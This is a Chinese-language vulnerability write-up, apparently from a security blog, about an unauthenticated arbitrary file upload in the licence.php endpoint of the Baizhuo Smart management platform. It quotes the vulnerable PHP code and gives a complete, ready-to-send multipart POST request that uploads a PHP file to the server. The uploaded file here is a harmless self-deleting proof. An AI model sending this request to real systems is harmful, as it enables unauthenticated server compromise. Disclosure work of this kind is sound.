百卓Smart管理平台 licence.php 文件上传漏洞


漏洞简介

百卓Smart管理平台是北京百卓网络技术有限公司(以下简称百卓网络)的一款安全网关产品,是一家致力于构建下一代安全互联网的高科技企业。
百卓Smart管理平台 licence.php 接口存在任意文件上传漏洞。未经身份验证的攻击者可以利用此漏洞上传恶意后门文件,执行任意指令,从而获得服务器权限并操纵服务器文件。

漏洞分析

关键代码如下

<?php
if(isset($_POST['mode'])) $mode=$_POST['mode'];
if($mode=="set")
{
    $type=$_POST['ck'];
    if($type == "radhttp") //http
    {
        chdir("/home/");
        if(!is_file("upload")) mkdir("upload",0777);
        $http_licence_dir = "/home/upload/";
        chdir($http_licence_dir);
        exec("rm -rf *");
        $upload_file = $_FILES['file_upload']['tmp_name'];
        $upload_file_name = $_FILES['file_upload']['name'];
        /*echo $upload_file."<br>";
        echo $upload_file_name."<br>";*/

        if(!copy($upload_file,$http_licence_dir.$upload_file_name))
        {
            add_optlog($sess_username,"licence",GetIp(),"$LANG_HTTPLICENCE_FAILD");
            alert("$LANG_UPLOADLICENCE_FAILD","licence.php");
            exit();

        }
        $str = "upgrade licence $http_licence_dir$upload_file_name\n";
        $rbuf = socket($str);
        if(!strstr($rbuf,"0:"))
        {
            add_optlog($sess_username,"licence",GetIp(),"$LANG_HTTPLICENCE_FAILD");
            alert("$LANG_UPDATELICENCE_FAILD","licence.php");
            exit();

        }
        add_optlog($sess_username,"licence",GetIp(),"$LANG_HTTPLICENCE_SUCCESS");
        alert("$LANG_UPDATELICENCE_SUCCESS","licence.php");

    }

如果 $mode=="set",且 $type == "radhttp",则在 home 目录下创建 upload目录(如果不存在),设置权限并清空upload目录后,直接保存上传文件到此目录。

漏洞复现

POST /sysmanage/licence.php HTTP/1.1
Host: smart.mrxn.net
Content-Type: multipart/form-data; boundary=----123456

------123456
Content-Disposition: form-data; name="mode"

set
------123456
Content-Disposition: form-data; name="ck"

radhttp
------123456
Content-Disposition: form-data; name="file_upload"; filename="test.php"

<?=md5(123456);unlink(__FILE__);
------123456--

访问上传文件 /home/upload/test.php


手机扫码阅读

百卓Smart管理平台 uploadfile.php 文件上传漏洞

百卓Smart管理平台 autheditpwd.php SQL注入漏洞

评 论